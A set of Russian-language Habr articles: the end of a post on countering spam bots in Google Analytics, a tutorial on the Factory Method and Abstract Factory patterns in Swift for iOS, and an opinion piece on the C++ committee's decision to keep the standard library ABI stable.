***Получайте квалифицированную помощь от системного администратора*****.** Круглосуточная защита клиентских веб-ресурсов от вредоносных объектов – его основная работа. У того, кто ответственен за безопасность сети, намного больше инструментов для отражения атак ботов, чем у владельца сайта. Если вами обнаружен новый бот, угрожающий сайту, незамедлительно проинформируйте о находке сисадмина.
***Пользуйтесь*** ***Google******Chrome*** ***для веб-серфинга*****.** В случае, если брандмауэр не используется, для просмотра интернет-страниц лучше всего использовать Google Chrome.
*Chrome**также способен обнаружить вредоносное программное обеспечение. При этом он открывает веб-страницы оперативнее, нежели другие браузеры, не забывая сканировать их на наличие вредоносных программ.*
Если вы используете Chrome, риск «подцепить» вредоносное ПО у вашего компьютера снижается. Даже когда заходите на подозрительный ресурс из отчетов реферального трафика Google Analytics.
***Используйте пользовательские предупреждения при мониторинге неожиданных скачков посещаемости.*** Персонализированное оповещение в аналитике Google даст возможность оперативно обнаружить и нейтрализовать вредные запросы ботов, минимизируя их вредоносное воздействие на сайт.
***Используйте фильтры, доступные в Google Analytics*****.** Для этого на вкладке «Администратор» в столбце «Представления» нужно выбрать «Фильтры» и создать новый.
Справиться с настройкой фильтров довольно просто. Главное – знать, как это делается.
Можно использовать флажок «Bot Filtering», расположенный в разделе «View Settings» вкладки «Administrator». Это не повредит.
Несмотря на простоту использования фильтров в Google Analytics, мы все же не советуем использовать их на практике.
Для этого есть три веских причины:
* *Есть сотни и тысячи плохих ботов, огромное количество новых появляется ежедневно. Какое количество фильтров придется создавать и применять к вашим отчетам?*
* *Чем большее число фильтров будет применяться, тем сложнее будет анализировать отчеты, полученные от аналитической службы Google.*
* *Блокировка трафика спама в Google Analytics – это сокрытие, но не решение проблемы. Вы потеряете возможность оценивать степень искаженности трафика спам-ботами.*
Аналогично, не блокируйте реферальный трафик с помощью «***Referral exclusion list***»- это не решит вашу проблему. Наоборот, этот трафик в последствии будет оцениваться как прямой, что приведет к потере возможности следить за воздействием спама на трафик вашего веб-ресурса.
После того, как спам-бот попал в статистику аналитического сервиса Google, данные о трафике будут искажены навсегда. Вы уже не сможете исправить его.
#### Заключение
Мы надеемся, что перечисленные выше рекомендации помогут вам избавиться от всех источников спама на Ваш сайт. Это можно сделать разными способами, мы же описали те, которые помогли многим ресурсам защитить свои данные в Google Analytics. | https://habr.com/ru/post/292522/ | null | ru | null |
# «Фабричный метод» и «Абстрактная фабрика» во вселенной «Swift» и «iOS»
Слово «фабрика» – безусловно одно из самых часто употребляемых программистами при обсуждении своих (или чужих) программ. Но смысл в него вкладываемый бывает очень разным: это может быть и класс, порождающий объекты (полиморфно или нет); и метод, создающий экземпляры какого-либо типа (статический или нет); бывает, и даже просто любой порождающий метод (включая, [конструкторы](https://en.wikipedia.org/wiki/Constructor_(object-oriented_programming))).
Конечно, не все, что угодно, порождающее экземпляры чего-либо, может называться словом «фабрика». Более того, под этим словом могут скрываться два разных порождающих шаблона из арсенала «Банды четырех» – [«фабричный метод»](https://en.wikipedia.org/wiki/Factory_method_pattern) и [«абстрактная фабрика»](https://en.wikipedia.org/wiki/Abstract_factory_pattern), в подробности которых я и хотел бы немного углубиться, уделяя особое внимание классическим их пониманию и реализации.
А на написание этого очерка меня вдохновил [Джошуа Керивски](https://twitter.com/joshuakerievsky) (глава [«Industrial Logic»](https://industriallogic.com)), а точнее, его книга [«Refactoring to Patterns»](https://amazon.com/Refactoring-Patterns-Joshua-Kerievsky/dp/0321213351), которая вышла в начале века в рамках серии книг, основанной [Мартином Фаулером](https://martinfowler.com) (именитым автором современной классики программирования – книги [«Рефакторинг»](https://amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672)). Если кто-то не читал или даже не слышал о первой (а я знаю таких много), то обязательно добавьте ее себе в список для чтения. Это достойный «сиквел» как «Рефакторинга», так и еще более классической книги – [«Приемов объектно-ориентированного проектирования. Паттерны проектирования»](https://amazon.com/Design-Patterns-Object-Oriented-Addison-Wesley-Professional-ebook/dp/B000SEIBB8).
Книга, помимо прочего, содержит в себе несколько десятков рецептов избавления от различных [«запахов»](https://en.wikipedia.org/wiki/Code_smell) в коде с помощью [шаблонов проектирования](https://en.wikipedia.org/wiki/Software_design_pattern). В том числе и три (как минимум) «рецепта» на обсуждаемую тему.
Абстрактная фабрика
-------------------
Керивски в своей книге приводит два случая, когда применение этого шаблона будет полезным.
Первый – это [инкапсуляция](https://en.wikipedia.org/wiki/Encapsulation_(computer_programming)) знаний о конкретных классах, связанных общим интерфейсом. В таком случае этими знаниями будет обладать лишь тип, являющейся фабрикой. Публичный [API](https://en.wikipedia.org/wiki/Application_programming_interface) фабрики будет состоять из набора методов (статических или нет), возвращающих экземпляры типа общего интерфейса и имеющих какие-либо «говорящие» названия (чтобы понимать, какой метод необходимо вызвать для той или иной цели).
Второй пример очень похож на первый (и, в общем-то, все сценарии использования паттерна более-менее подобны друг другу). Речь идет о случае, когда экземпляры одного или нескольких типов одной группы создаются в разных местах программы. Фабрика в этом случае опять-таки инкапсулирует знания о создающем экземпляры коде, но с несколько иной мотивацией. Например, это особенно актуально, если процесс создания экземпляров этих типов сложный и не ограничивается вызовом конструктора.
Чтобы быть ближе к теме разработки под [«iOS»](https://apple.com/ru/ios/ios-12), удобно упражняться на подклассах [`UIViewController`](https://developer.apple.com/documentation/uikit/uiviewcontroller). И действительно, это точно один из самых распространенных типов в «iOS»-разработке, почти всегда «наследуется» перед применением, а конкретный подкласс при этом зачастую даже и не важен для клиентского кода.
> Я постараюсь сохранять примеры кода как можно ближе к классической реализации из книги «Банды четырех», но в реальной жизни часто код бывает упрощенным тем или иным образом. И лишь достаточное понимание шаблона открывает двери для его более вольного использования.
### Подробный пример
Предположим, мы в приложении торгуем средствами передвижения, и от типа конкретного средства зависит отображение: мы будем использовать разные подклассы `UIViewController` для разных средств передвижения. Помимо этого, все средства передвижения различаются состоянием (новые и б/у):
```
enum VehicleCondition{
case new
case used
}
final class BicycleViewController: UIViewController {
private let condition: VehicleCondition
init(condition: VehicleCondition) {
self.condition = condition
super.init(nibName: nil, bundle: nil)
}
required init?(coder aDecoder: NSCoder) {
fatalError("BicycleViewController: init(coder:) has not been implemented.")
}
}
final class ScooterViewController: UIViewController {
private let condition: VehicleCondition
init(condition: VehicleCondition) {
self.condition = condition
super.init(nibName: nil, bundle: nil)
}
required init?(coder aDecoder: NSCoder) {
fatalError("ScooterViewController: init(coder:) has not been implemented.")
}
}
```
Таким образом, у нас есть семейство объектов одной группы, экземпляры типов которых создаются в одних и тех же местах в зависимости от какого-то условия (например, пользователь нажал на товар в списке, и в зависимости от того, самокат это или велосипед, мы создаем соответствующий контроллер). Конструкторы контроллеров имеют некоторые параметры, которые также необходимо каждый раз задавать. Не свидетельствуют ли эти два довода в пользу создания «фабрики», которая одна будет обладать знаниями о логике создания нужного контроллера?
Конечно, пример достаточно простой, и в реальном проекте в похожем случае вводить «фабрику» будет явным [«overengineering»](https://en.wikipedia.org/wiki/Overengineering). Тем не менее, если представить, что типов транспортных средств у нас не два, а параметров у конструкторов – не один, то преимущества «фабрики» станут более очевидными.
Итак, объявим интерфейс, который будет играть роль «абстрактной фабрики»:
```
protocol VehicleViewControllerFactory {
func makeBicycleViewController() -> UIViewController
func makeScooterViewController() -> UIViewController
}
```
(Довольно краткий [«гайдлайн» по проектированию «API»](https://swift.org/documentation/api-design-guidelines) на языке [«Swift»](https://apple.com/swift) рекомендует называть «фабричные» методы начиная со слова «make».)
(Пример в книге банды четырех приведен на [«C++»](https://en.wikipedia.org/wiki/C%2B%2B) и основывается на [наследовании](https://en.wikipedia.org/wiki/Inheritance_(object-oriented_programming)) и [«виртуальных» функциях](https://en.wikipedia.org/wiki/Virtual_function). Используя «Swift» нам, конечно, ближе парадигма протокольно-ориентированного программирования.)
Интерфейс абстрактной фабрики содержит всего два метода: для создания контроллеров для продажи велосипедов и самокатов. Методы возвращают экземпляры не конкретных подклассов, а общего базового класса. Таким образом, ограничивается область распространения знаний о конкретных типах пределами той области, в которой это действительно необходимо.
В качестве «конкретных фабрик» будем использовать две реализации интерфейса абстрактной фабрики:
```
struct NewVehicleViewControllerFactory: VehicleViewControllerFactory {
func makeBicycleViewController() -> UIViewController {
return BicycleViewController(condition: .new)
}
func makeScooterViewController() -> UIViewController {
return ScooterViewController(condition: .new)
}
}
struct UsedVehicleViewControllerFactory: VehicleViewControllerFactory {
func makeBicycleViewController() -> UIViewController {
return BicycleViewController(condition: .used)
}
func makeScooterViewController() -> UIViewController {
return ScooterViewController(condition: .used)
}
}
```
В данном случае, как видно из кода, конкретные фабрики отвечают за транспортные средства разного состояния (новые и подержанные).
Создание нужного контроллера отныне будет выглядеть примерно так:
```
let factory: VehicleViewControllerFactory = NewVehicleViewControllerFactory()
let vc = factory.makeBicycleViewController()
```
### Инкапусляция классов с помощью фабрики
Теперь вкратце пробежимся по примерам использования, которые предлагает в своей книге Керивски.
Первый «кейс» связан с [инкапсуляцией конкретных классов](https://industriallogic.com/xp/refactoring/classesWithFactory.html). Для примера возьмем те же контроллеры для отображения данных о транспортных средствах:
```
final class BicycleViewController: UIViewController { }
final class ScooterViewController: UIViewController { }
```
Предположим, мы имеем дело с каким-либо отдельным модулем, например, подключаемой библиотекой. В этом случае объявленные выше классы остаются (по умолчанию) [`internal`](https://docs.swift.org/swift-book/LanguageGuide/AccessControl.html), а в качестве публичного «API» библиотеки выступит фабрика, которая в своих методах возвращает базовые классы контроллеров, таким образом оставляя знания о конкретных подклассах внутри библиотеки:
```
public struct VehicleViewControllerFactory {
func makeBicycleViewController() -> UIViewController {
return BicycleViewController()
}
func makeScooterViewController() -> UIViewController {
return ScooterViewController()
}
}
```
### Перемещение знаний о создании объекта внутрь фабрики
Второй «кейс» описывает [сложную инициализацию объекта](https://industriallogic.com/xp/refactoring/creationWithFactory.html), и Керивски, в качестве одного из путей упрощения кода и оберегания принципов инкапсуляции, предлагает ограничение распространения знаний о процессе инициализации пределами фабрики.
Предположим, мы захотели продавать заодно уж и автомобили. А это, несомненно, более сложная техника, обладающая бóльшим числом характеристик. Для примера ограничимся типом используемого топлива, типом трансмиссии и размером колесного диска:
```
enum Condition {
case new
case used
}
enum EngineType {
case diesel
case gas
}
struct Engine {
let type: EngineType
}
enum TransmissionType {
case automatic
case manual
}
final class CarViewController: UIViewController {
private let condition: Condition
private let engine: Engine
private let transmission: TransmissionType
private let wheelDiameter: Int
init(engine: Engine,
transmission: TransmissionType,
wheelDiameter: Int = 16,
condition: Condition = .new) {
self.engine = engine
self.transmission = transmission
self.wheelDiameter = wheelDiameter
self.condition = condition
super.init(nibName: nil, bundle: nil)
}
required init?(coder aDecoder: NSCoder) {
fatalError("CarViewController: init(coder:) has not been implemented.")
}
}
```
Пример инициализации соответствующего контроллера:
```
let engineType = EngineType.diesel
let engine = Engine(type: engineType)
let transmission = TransmissionType.automatic
let wheelDiameter = 18
let vc = CarViewController(engine: engine,
transmission: transmission,
wheelDiameter: wheelDiameter)
```
Мы можем ответственность за все эти «мелочи» водрузить на «плечи» специализированной фабрики:
```
struct UsedCarViewControllerFactory {
let engineType: EngineType
let transmissionType: TransmissionType
let wheelDiameter: Int
func makeCarViewController() -> UIViewController {
let engine = Engine(type: engineType)
return CarViewController(engine: engine,
transmission: transmissionType,
wheelDiameter: wheelDiameter,
condition: .used)
}
}
```
И создавать контроллер уже таким образом:
```
let factory = UsedCarViewControllerFactory(engineType: .gas,
transmissionType: .manual,
wheelDiameter: 17)
let vc = factory.makeCarViewController()
```
Фабричный метод
---------------
Второй «однокоренной» шаблон также инкапсулирует знания о конкретных порождаемых типах, но не за счет сокрытия этих знаний внутри специализированного класса, а за счет полиморфизма. Керивски в своей книге приводит примеры на [«Java»](https://java.com) и предлагает пользоваться [абстрактными классами](https://docs.oracle.com/javase/tutorial/java/IandI/abstract.html), но обитатели вселенной «Swift» с таким понятием не знакомы. У нас тут своя атмосфера… и протоколы.
> Книга «Банды четырех» сообщает, что шаблон также известен под названием «виртуальный конструктор», и это не зря. В «C++» виртуальной называется функция, переопределяемая в производных классах. Возможности объявить виртуальным конструктор язык не дает, и не исключено, что именно попытка сымитировать нужное поведение привела к изобретению данного паттерна.
### Полиморфное создание объектов
В качестве классического примера пользы шаблона рассмотрим случай, когда [в иерархии разные типы имеют идентичную реализацию одного метода за исключением объекта, который в этом методе создается и используется](https://industriallogic.com/xp/refactoring/polymorphicCreationFactory.html). В качестве решения предлагается создание этого объекта вынести в отдельный метод и реализовывать его отдельно, а общий метод – поднять выше в иерархии. Таким образом, разные типы будут использовать общую реализацию метода, а объект, необходимый для этого метода, будет создаваться полиморфно.
Для примера вернемся к нашим контроллерам для отображения транспортных средств:
```
final class BicycleViewController: UIViewController { }
final class ScooterViewController: UIViewController { }
```
И предположим, что для их отображения используется некая сущность, например, [координатор](https://habr.com/ru/post/444038/), который представляет эти контроллеры модально из другого контроллера:
```
protocol Coordinator {
var presentingViewController: UIViewController? { get set }
func start()
}
```
При этом метод `start()` используется всегда одинаково, за исключением того, что в нем создаются разные контроллеры:
```
final class BicycleCoordinator: Coordinator {
weak var presentingViewController: UIViewController?
func start() {
let vc = BicycleViewController()
presentingViewController?.present(vc, animated: true)
}
}
final class ScooterCoordinator: Coordinator {
weak var presentingViewController: UIViewController?
func start() {
let vc = ScooterViewController()
presentingViewController?.present(vc, animated: true)
}
}
```
Предлагаемое решение – это вынести создание используемого объекта в отдельный метод:
```
protocol Coordinator {
var presentingViewController: UIViewController? { get set }
func start()
func makeViewController() -> UIViewController
}
```
А основной метод – снабдить базовой реализацией:
```
extension Coordinator {
func start() {
let vc = makeViewController()
presentingViewController?.present(vc, animated: true)
}
}
```
Конкретные типы в таком случае примут вид:
```
final class BicycleCoordinator: Coordinator {
weak var presentingViewController: UIViewController?
func makeViewController() -> UIViewController {
return BicycleViewController()
}
}
final class ScooterCoordinator: Coordinator {
weak var presentingViewController: UIViewController?
func makeViewController() -> UIViewController {
return ScooterViewController()
}
}
```
Заключение
----------
Я попытался данную несложную тему осветить, совместив три подхода:
* классическая декларация существования приема, навеянная книгой «Банды четырех»;
* мотивация использования, неприкрыто вдохновленная книгой Керивски;
* прикладное применение на примере близкой мне отрасли программирования.
При этом я попытался быть максимально близким хрестоматийной структуре шаблонов, насколько это возможно, не разрушая принципы современного подхода к разработке под систему «iOS» и используя возможности языка «Swift» (вместо более распространенных «С++» и «Java»).
Как оказалось, найти подробные материалы на тему, содержащие прикладные примеры довольно сложно. Большинство существующих статей и руководств содержат лишь поверхностные обзоры и сокращенные примеры, уже довольно урезанные по сравнению с хрестоматийными версиями реализаций.
Надеюсь, хотя бы отчасти мне удалось достичь поставленных целей, а читателю – хотя бы отчасти было интересно или хотя бы любопытно узнать или освежить свои знания по данной теме.
**Другие мои материалы на тему шаблонов проектирования:**
* [«Архитектурный шаблон «Посетитель» (“Visitor”) во вселенной «iOS» и «Swift»](https://habr.com/ru/post/432558/)
* [«Архитектурный шаблон «Итератор» («Iterator») во вселенной «Swift»](https://habr.com/ru/post/437614/)
* [«Архитектурный шаблон «Строитель» во вселенной «Swift» и «iOS»/«macOS»](https://habr.com/ru/post/457086/)
[**А это ссылка на мой «Twitter», где я публикую ссылки на свои очерки и немного сверх того.**](https://twitter.com/lazarevzubov) | https://habr.com/ru/post/451324/ | null | ru | null |
# День смерти стандартной библиотеки
На днях в Праге комитет по стандартизации С++ провел ряд опросов по вопросу изменения ABI, и в конечном счете было решено ничего в нем не менять. Аплодисментов в зале слышно не было.
Я думаю, мы не осознавали полностью те последствия, которое повлечет за собой данное решение, и я не верю, что оно в принципе может положительно сказаться на развитии языка.
Что такое ABI
-------------
ABI — набор соглашений, определяющих, как ваша программа представляется в бинарном виде, как в ней объявляются имена, задается разметка у классов и определяются соглашения о вызове функций. По сути, это своеобразный двоичный протокол, однако он не является версионным.
Чтобы не запутывать вас в терминологии, давайте рассмотрим на примерах, что влечет за собой изменение ABI и его поломка в рамках программы:
Вы не сможете использовать экспортируемый символ в новой версии вашей скомпилированной библиотеки, если вы сделали что-либо из нижеперечисленного:
* Добавили новое поле в уже существующий класс
* Поменяли шаблонные параметры у класса/функции, превратили шаблонную функцию в нешаблонную или наоборот, добавили [variadic template](https://en.cppreference.com/w/cpp/language/parameter_pack)
* Применили спецификатор **inline** к чему-либо
* Добавили параметры по умолчанию в объявлении функции
* Объявили новый виртуальный метод
И многое, многое другое, однако примеры выше — основные, что упоминаются комитетом, и те самые, благодаря которым большинство предложений в стандарт уничтожают на месте. Я опустил варианты нарушения ABI, в ходе которых ломается и исходный код программы (к примеру, удаление или изменение функций). Однако, и это не всегда верно. К примеру, удаление функции не всегда влечет за собой поломку исходного кода. `std::string` имеет оператор преобразования в `std::string_view`, от которого я бы с радостью избавился, и хоть его удаление и сломает ABI, но не приведет к значительным проблемам в исходном коде.
Почему мы должны сломать ABI
----------------------------
Прежде всего, есть несколько полезных изменений в реализации стандартной библиотеки, которые можно внедрить, если нарушить текущий ABI:
* Сделать ассоциативные контейнеры (намного) быстрее
* Ускорить работу `std::regex` (На данный момент быстрее запустить PHP и выполнить на нем поиск по регулярному выражению, чем использовать стандартный `std::regex`)
* Некоторые изменения в `std::string`, `std::vector`, а также в разметке других контейнеров
* Единство интерфейса классов: на данный момент некоторые их реализации намеренно не соответствуют единому интерфейсу в угоду стабильности ABI
Что более важно, существуют изменения и в дизайне библиотеки, которые не могут быть сделаны без встречи с проблемой сохранности ABI. Вот неполный список, всего того, что на данный момент не осуществимо по упомянутой выше причине:
* `std::scoped_lock` был добавлен для того, чтобы не сломать ABI изменением `lock_guard`
* `int128_t` не может быть стандартизирован, потому что меняет `intmax_t`. Однако, если бы спросили меня, я бы просто сказал, что `intmax_t` должен стать *deprecated*
* `std::unique_ptr` мог бы храниться в регистре с помощью некоторых модификаций в языке, что сделало бы его *zero-overhead* по сравнению с обычным указателем
* Большинство изменений для `error_code` были отклонены как раз из-за того, что они влекли за собой поломку ABI
* `status_code` также вызывает проблемы с ABI
* Предложение добавить фильтр в `recursive_directory_iterator` было отклонено, потому что сломало бы ABI
* Предложение сделать большинство функций из библиотеки `constexpr` (включая `strlen`) скорее всего тоже будет отклонено, ведь ломает ABI
* Добавление поддержки UTF-8 в `std::regex` — поломка ABI
* добавление поддержки в `realloc` и возврат размера аллоцированной памяти является поломкой ABI для полиморфных аллокаторов
* Создание неявных виртуальных деструкторов для полиморфных типов
* возвращаемый тип у `push_back` может быть изменен, если сломать текущий ABI
* А вообще, действительно ли нам нужен и `push_back`, и `emplace_back`?
* [`Улучшение std::shared_ptr`](http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2019/p1116r0.pdf) также влечет за собой поломку ABI
* `[[no_unique_address]]` мог бы выводиться компилятором, если бы мы не заботились о сохранении текущего ABI
И на этом список не заканчивается. Я думаю WG21 стоит стараться поддерживать актуальным список таких вот вещей. А я же буду брать на заметку каждого, кто произносит «это сломает ABI», находясь со мной в одной комнате.
Что еще мы хотим изменить?
--------------------------
Я не знаю. И я не знаю того, чего не знаю. Но если бы меня попросили угадать, я бы сказал следующее:
* Во время разработки модулей для C++23 мы снова столкнемся с проблемами ABI, потому что все не-экспортируемые символы должны будут оставаться в глобальной части модуля, чтобы не сломать ABI. Этот факт в принципе уничтожает весь смысл модулей как таковых
* Существует очень много людей, которые уверены, что стоимость исключений может быть значительно снижена в тех местах, где хромает качество реализации, однако все это опять же скорее всего потребует сломать ABI
* Дальнейшие улучшения корутин могут привести к проблемам с ABI, и их как раз можно существенно улучшить
* Перемещение объектов требует явного оператора, опять же по причинам ABI
* Предложения [Tombstone](https://www.youtube.com/watch?v=MWBfmmg8-Yo) точно приведут к проблемам с ABI
Обсуждение ABI в Праге
----------------------
В течение прошедшего обсуждения ABI, в Праге был проведен ряд опросов, которые, однако, не говорят нам ни о чем. В зависимости от того, пессимист вы или оптимист, текущие результаты могут быть интерпретированы вами по-разному.
Основные факты:
* WG21 не желает ломать ABI в 23 году
* WG21 считает нужным сломать ABI в следующих версиях C++ (С++26 или далее)
* WG21 потребуется время на рассмотрение предложений, которые нарушают ABI
* WG21 не обещает вечную стабильность
* WG21 считает важным сохранить приоритет на производительность, даже в ущерб стабильности языка
В этих заявлениях есть много важных моментов, но нет единого мнения. Комитет, как ни странно, разделился пополам.
Гадание по кофейной гуще
------------------------
### В какой версии C++ ждать изменений
Очевидный недостаток всех этих опросов заключается в том, что мы так и не определились, *когда именно* мы хотим сломать ABI.
в C++23? Нет, уже точно нет.
в C++26? Часть людей намерены голосовать за, но другая часть скорее всего проголосует за C++41 или за то время, когда они уйдут на пенсию и им не придется поддерживать свой текущий проект. Один из вопросов просто упоминал C++-**какой-то**; очень удобно!
Нет оснований полагать, что если ABI не может быть нарушен сейчас, его можно будет нарушить позже. Люди, которым нужна стабильность, отстают от стандарта на несколько лет. Так что если бы мы не сломаем его сейчас, люди будут и дальше полагаться на никогда никем не обещанный ABI, может еще лет десять, а то и двадцать. Тот простой факт, что мы провели этот опрос в итоге проголосовали за то, чтобы не нарушать ABI, показывает, что вся экосистема постепенно каменеет и стагнирует — с каждым днем проблема становится только хуже и потенциально дороже.
Я не думаю, что в опросе, проведенном через три года что-то изменится. Это как глобальное потепление: все согласны, что нужно когда-нибудь заняться этой проблемой. А давайте тогда запретим дизельное топливо в 2070?
Все, что не планируется сделать в ближайшие пять лет, скорее всего никогда не произойдет.
### О предложениях, которые нарушают ABI
WG21 проголосовало за то, чтобы уделить больше времени тем предложениям, что нарушают текущий ABI. Это означает несколько вещей:
* Мы потратим впустую больше времени в одной из самых шумных комнат комитета на обсуждение этого вопроса и оставим меньше на те предложениям, у которых больше шансов на принятие, и в итоге все равно отклоним и их
* Мы будем искать не ломающие ABI альтернативы (об этом пойдет речь ниже)
* Возможно будут внедрены частичные изменения ABI (об этом тоже см. ниже)
### Производительность важнее стабильности ABI
Это все равно, что спросить, хочет ли пятилетний ребенок конфету. Конечно мы проголосуем за важность производительности. Однако, меня настораживает, что часть людей все же проголосовала против.
Мне кажется, комитет одновременно хочет усидеть сразу на двух стульях. А это невозможно:
> **[Bryce Adelstein Lelbach](https://twitter.com/blelbach)** @blebach
>
> — Производительность
>
> — Стабильность ABI
>
> — Возможность что-либо менять
>
>
>
> Выберите два варианта из предложенных.
>
>
стабильность языка и ABI в конечно счете сталкиваются друг с другом, заставляя нас задаться таким фундаментальным вопросом — Чем является C++ и чем является его стандартная библиотека?
Обычно в таком случае вспоминают термины «производительность», "*zero-cost* абстракции", "*do not pay for what you do not use*". А стабильность ABI стоит поперек всему этому.
Далеко идущие последствия
-------------------------
Я глубоко убежден, что решение не ломать ABI в 23-м году — это самая большая ошибка, которую когда-либо делал комитет. И я знаю, что некоторые люди верят в обратное. Но вот что скорее всего случится в скором времени:
### Кошмар обучения
Давайте будем честны. Все программы, которые полагаются на ABI, скорее всего где-то нарушают принципы [ODR](https://en.wikipedia.org/wiki/One_Definition_Rule) или используют несовместимые флаги, которые по счастливому стечению обстоятельств все еще работают.
Новые программы должны собираться из исходного кода, нам нужны инструменты, построенные на сборке из исходников, а не коллекция библиотек, которые откуда-то достали и как-то вставили в проект.
Да, сборка из исходников — это то, чего не так просто достичь. Но нам нужно поощрять такой подход к продукту, регулярно обновлять компиляторы, чтобы люди получали пользу от новых введенных фич спустя месяц после релиза, а не через десять лет. Нужно поощрять правильные, надежные, масштабируемые и воспроизводимые решения, библиотеки с открытым исходным кодом и систему зависимостей.
Отказываясь нарушать ABI, комитет открыто заявляет, что будет поддерживать плохо написанные программы на протяжении всего их существования. Даже если вы не будете линковаться с библиотеками, полученными через apt-install (которые на самом деле предназначены для системы), то другие люди будут, ведь комитет дал им на это свое благословение.
Это огромный шаг назад. Как мы можем учить других хорошим практикам языка, если для этого у нас нет никакого стимула?
### Потеря интереса к стандартной библиотеке
Предполагаемая потеря в производительности библиотеки из-за нашего нежелания нарушать ABI оценивается в 5-10%. Это число будет только расти со временем. Давайте посмотрим на примерах:
* Если вы — большая компания, то можете купить себе новый датацентр или платить команде программистов, которые бы поддерживали свою собственную библиотеку
* Если вы разработчик встраиваемых систем, то эти 5% могут стать гранью между работающим продуктом и необходимостью купить более дорогой и мощный чип, а он может стоить миллионы
* Если вы игровая компания, то эти 5-10% могут решить, станет ли ваша игра крутой или будет ли ваших пользователей тошнить от нее в VR-шлеме
* Если вы трейдинговая компания, то скорее всего для вас эти проценты — успешно проведенная или проваленная транзакция
Я думаю, тут волей-неволей встает вопрос между: «Мне однозначно стоит использовать C++ и его стандартную библиотеку!» и «Быть может, мне не стоит использовать стандартную библиотеку? Или может, мне не стоит использовать C++ в принципе? Возможно, .NET, julia или Rust будут лучшим решением?». Конечно, есть много факторов, которые влияют на ответ, но мы видим, что происходит в последнее время.
Множество разработчиков игр относятся крайне скептически к стандартной библиотеке. Они скорее разработают свою альтернативу, к примеру [EASTL](https://github.com/electronicarts/EASTL), чем воспользуются STL. У Facebook есть [folly](https://github.com/facebook/folly), у Google — [abseil](https://github.com/abseil/abseil-cpp) и так далее.
Это как снежный ком. Если люди не используют стандартную библиотеку, у них нет и интереса ее улучшать. Производительность — это тот ключевой фактор, который удерживает библиотеку на плаву. Без гарантии производительности намного меньше усилий будет приложено в ее развитие.
> >> [**Jonathan Müller**](https://twitter.com/foonathanhttp://) @foonathan
>
> В чем смысл использовать контейнеры из стандартной библиотеки, если они не предоставляют лучшую производительность?
>
>
>
> [**Titus Winters**](https://twitter.com/TitusWinters) @TitusWinters
>
> Возможно, потому что они распространены и легкодоступны? (эти два факта не значат одно и то же).
>
> Голосовать за сохранение ABI это все равно что сказать, что стандартная библиотека должна стремиться быть МакДональдсом — он также есть повсюду, он стабильный и технически решает поставленные задачи.
>
>
Как комитету рассматривать предложения, ломающие ABI?
-----------------------------------------------------
Несколько вариантов предлагается в качестве облегчения боли, вызванной невозможностью принимать предложения, если те нарушают ABI:
### Добавление новых имен
Это первое и очевидное решение. Если мы не можем поменять `std::unordered_map`, может нам просто добавить `std::fast_map`? Есть несколько причин, почему так делать плохо. Добавление типов в стандартную библиотеку обходится дорого как с точки зрения расходов на поддержку, так и с точки зрения образования. После введения нового класса неизбежно появятся тысячи статей, в которых объясняется, какой контейнер стоит использовать. К примеру, мне следует использовать `std::scoped_lock` или `std::lock_guard`? А я понятия не имею! Мне нужно каждый раз гуглить. Также есть проблема, что хорошие имена рано или поздно заканчиваются. Еще мы получаем некоторый оверхед во время выполнения программы, так как все контейнеры должны постоянно преобразовываться друг в друга, огромное число перегрузок конвертации у класса становится трудно контролировать и т.п.
Иронично, но те люди, кто поддерживают вариант решения выше, также высказываются о том, что C++ слишком сложный язык. Добавление дубликатов в библиотеку точно не сделает его проще.
### Но ведь мы могли принять это предложение в стандарт!
Некоторые разработчики библиотек заявляют, что их предложения были отклонены из-за нарушения ABI, хотя на самом деле ничего не нарушали, или их можно было изменить так, чтобы обойти поломку ABI.
Мне, как циничному человеку, немного трудно в это поверить. Дело в том, что раньше таких предложений не было, да и сценарии, в которых они могут быть применены весьма ограничены. ABI Review Group (ARG) могла бы помочь в этом вопросе, но они скорее всего снова порекомендуют придумать другое имя для класса / функции.
### Частичное нарушение ABI
Основная идея заключается в том, чтобы не ломать весь ABI, а только изменить его для определенного класса или функции. Проблема такого подхода заключается в том, что вместо ошибки на этапе линковки, мы будем видеть проблему уже во время запуска программы, и это будет неприятно нас удивлять. Комитет уже попробовал такой подход в С++11, когда поменял разметку `std::string`. Ничего хорошего из этого не вышло. Все было настолько плохо, что этот факт до сих пор используется как аргумент в пользу сохранения текущего ABI.
### Еще один уровень индирекции
Решением части проблем с ABI было бы возможность обращаться к данным класса через указатель, тогда бы и разметкой класса был всего лишь этот указатель. Идея очень близка к идиоме [PIMPL](https://en.cppreference.com/w/cpp/language/pimpl), которая активно используется в [Qt](https://en.wikipedia.org/wiki/Qt_(software)) из-за его ABI. Да, это бы решило проблему с членами классов, но что делать с виртуальными методами?
Рассматривая проблему с более критической точки зрения, мы говорим о добавлении еще одного уровня косвенности (индирект по указателю) и дополнительной аллокации памяти в куче для всего того, что заключено в рамках ABI. В STL, по факту, все заключено в этих рамках, потому что это набор обобщенных классов.
В итоге цена такого подхода будет огромной.
В качестве решения данной проблемы уже есть несколько предложений в стандарт. Часть из них хотят сделать PIMPL одной из фич языка, чтобы вы могли выбрать между стабильностью ABI и высокой производительностью.
Иронично, однако, но чтобы превратить библиотечные типы в PIPML-типы, нам нужно… сломать ABI.
### Пересобирать весь код каждые три года
Просто мои мысли вслух.
Все текущие предложения в стандарт должны быть уничтожены
---------------------------------------------------------
Парадоксально, но C++ никогда не был настолько живым, как сейчас. В Праге 250 человек работали над множеством вещей для него, среди которых:
* Numerics
* Линейная алгебра
* Аудио
* Юникод
* Асинхронный I/O
* 2D и 3D Графика
* Множество других фич
Все эти предложения объединяет один общий факт — они намного опциональней по сравнению с тем, что мы имеем в стандарте на данный момент. Люди просто пытаются стандартизировать вещи из своей области исследования и работы, или то, что постоянно развивается и меняется.
В частности, алгоритмы работы с Unicode являются крайне нестабильными и быстро меняются с течением времени.
А потом, над горизонтом нависает такой ужас, как *networking*. Очень и очень безответственно пытаться стандартизировать что-либо, что может повлечь за собой проблемы безопасности, и при этом не иметь возможности это впоследствии изменить (вспоминаем про ABI).
Поскольку C++ решили сделать стабильным, все эти предложения должны быть уничтожены и сожжены. Я бы не хотел, чтобы их уничтожали, но это необходимо сделать.
Но этого все равно не сделают.
В лучшем случае, мы не наделаем ошибок и стандартизируем текущее состояние вещей в одной из новых версий C++, а затем позволим всему медленно разлагаться, так как починить это уже не будет возможности (В случае с Networking TS мы похоже не сможем вообще ничего изменить, поэтому нам придется стандартизировать то, что существовало десять лет назад. Тогда библиотеку конечно еще можно будет значительно улучшить, но давайте оставим эту историю на другой раз).
